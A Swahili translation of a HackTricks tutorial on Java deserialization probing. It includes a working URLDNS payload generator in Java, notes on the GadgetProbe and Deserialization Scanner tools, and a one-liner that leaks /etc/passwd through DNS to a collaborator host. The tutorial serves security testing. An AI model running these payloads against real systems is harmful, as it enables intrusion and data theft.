11 KiB
Ufichuaji wa DNS wa Java, GadgetProbe na Java Deserialization Scanner
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ombi la DNS kwenye ufichuaji
Darasa la java.net.URL
linatekeleza Serializable
, hii inamaanisha kuwa darasa hili linaweza kufichuliwa.
public final class URL implements java.io.Serializable {
Darasa hili lina tabia ya kushangaza. Kutoka kwa hati ya maelezo: "Wenyeji wawili wanachukuliwa kuwa sawa ikiwa majina yote ya mwenyeji yanaweza kutatuliwa kuwa anwani sawa za IP". Kisha, kila wakati kitu cha URL kinaita moja kwa moja ya kazi sawa
au hashCode
ombi la DNS kupata Anwani ya IP litatumwa.
Kuita kazi hashCode
kutoka kwa kitu cha URL ni rahisi sana, ni vya kutosha kuingiza kitu hiki ndani ya HashMap
ambayo itadeserialized. Hii ni kwa sababu mwishoni mwa kazi ya readObject
kutoka kwa HashMap
msimbo huu unatekelezwa:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
Itakuwa kutekeleza putVal
na kila thamani ndani ya HashMap
. Lakini, muhimu zaidi ni wito wa hash
na kila thamani. Hii ni nambari ya kazi ya hash
:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Kama unavyoweza kushuhudia, wakati wa kudezirializa HashMap
kazi ya hash
itatekelezwa kwa kila kitu na wakati wa utekelezaji wa hash
itatekelezwa .hashCode()
ya kitu. Kwa hivyo, ikiwa unadezirializa HashMap
yenye kitu cha URL, kitu cha URL kitatekeleza .hashCode()
.
Sasa, tuchunguze msimbo wa URLObject.hashCode()
:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
Kama unavyoona, wakati URLObject
inatekeleza .hashCode()
inaitwa hashCode(this)
. Kuendelea unaweza kuona msimbo wa kazi hii:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
Unaweza kuona kwamba getHostAddress
inatekelezwa kwa kikoa, kuzindua ombi la DNS.
Hivyo, darasa hili linaweza kutumiwa vibaya ili kuzindua ombi la DNS ili kuonyesha kwamba deserialization inawezekana, au hata kuvuja taarifa (unaweza kuongeza kama subdomain matokeo ya utekelezaji wa amri).
Mfano wa msimbo wa mzigo wa URLDNS
Unaweza kupata msimbo wa mzigo wa URLDNS kutoka ysoserial hapa. Hata hivyo, kwa kufanya iwe rahisi kuelewa jinsi ya kuandika msimbo huo, niliunda PoC yangu mwenyewe (kulingana na ile kutoka ysoserial):
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Taarifa zaidi
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- Katika wazo la awali, mzigo wa makusanyo ya kawaida ulibadilishwa ili kufanya uchunguzi wa DNS, hii ilikuwa isiyoaminika kuliko njia iliyopendekezwa, lakini hii ni chapisho: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
Unaweza kupakua GadgetProbe kutoka kwenye Duka la Programu la Burp Suite (Extender).
GadgetProbe itajaribu kugundua ikiwa darasa za Java zipo kwenye darasa la seva ili uweze kujua ikiwa ina kasoro ya baadhi ya shambulio lililojulikana.
Inafanyaje kazi
GadgetProbe itatumia mzigo sawa wa DNS wa sehemu iliyopita lakini kabla ya kufanya uchunguzi wa DNS itajaribu kudesirializa darasa la kiholela. Ikiwa darasa la kiholela lipo, ombi la DNS litatumiwa na GadgetProbe itaona kuwa darasa hili lipo. Ikiwa ombi la DNS halitumwi, hii inamaanisha kuwa darasa la kiholela halikudesirializwa kwa mafanikio hivyo linaweza kutokuwepo au halijadesirializwa/kutumiwa.
Ndani ya github, GadgetProbe ina orodha ya maneno na darasa za Java za kupimwa.
Taarifa Zaidi
Java Deserialization Scanner
Scanner huyu anaweza kupakuliwa kutoka kwenye Duka la Programu la Burp (Extender).
Upanuzi una uwezo wa kupita na uwezo wa kazi.
Kupita
Kwa chaguo-msingi, inachunguza kwa upande wote maombi na majibu yaliyotumwa kutafuta bayti za uchawi zilizodesirializwa za Java na itatoa onyo la kasoro ikiwa moja itapatikana:
Kazi
Upimaji wa Kibinafsi
Unaweza kuchagua ombi, bofya kulia na Tuma ombi kwa DS - Upimaji wa Kibinafsi
.
Kisha, ndani ya Tab ya Scanner ya Kudesirializa --> Tab ya upimaji wa kibinafsi unaweza kuchagua sehemu ya kuingiza. Na anzisha upimaji (Chagua shambulio sahihi kulingana na usimbaji uliotumiwa).
Hata kama hii inaitwa "Upimaji wa Kibinafsi", ni kielelezo cha kiotomatiki. Itachunguza moja kwa moja ikiwa kudesirializa ina kasoro kwa mzigo wowote wa ysoserial ikichunguza maktaba zilizopo kwenye seva ya wavuti na itaonyesha zile zilizo na kasoro. Ili kuchunguza maktaba zenye kasoro unaweza kuchagua kuzindua Javas Sleeps, sleeps kupitia matumizi ya CPU, au kutumia DNS kama ilivyotajwa hapo awali.
Kutumia
Marafiki umetambua maktaba yenye kasoro unaweza kutuma ombi kwa Tab ya Kutumia.
Katika kichupo hiki unapaswa kuchagua tena sehemu ya kuingiza, na andika maktaba yenye kasoro unayotaka kuunda mzigo kwa, na amri. Kisha, bonyeza kitufe sahihi cha Shambulio.
Taarifa ya Java Deserialization DNS Exfil
Fanya mzigo wako utekeleze kitu kama hiki:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
Taarifa Zaidi
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.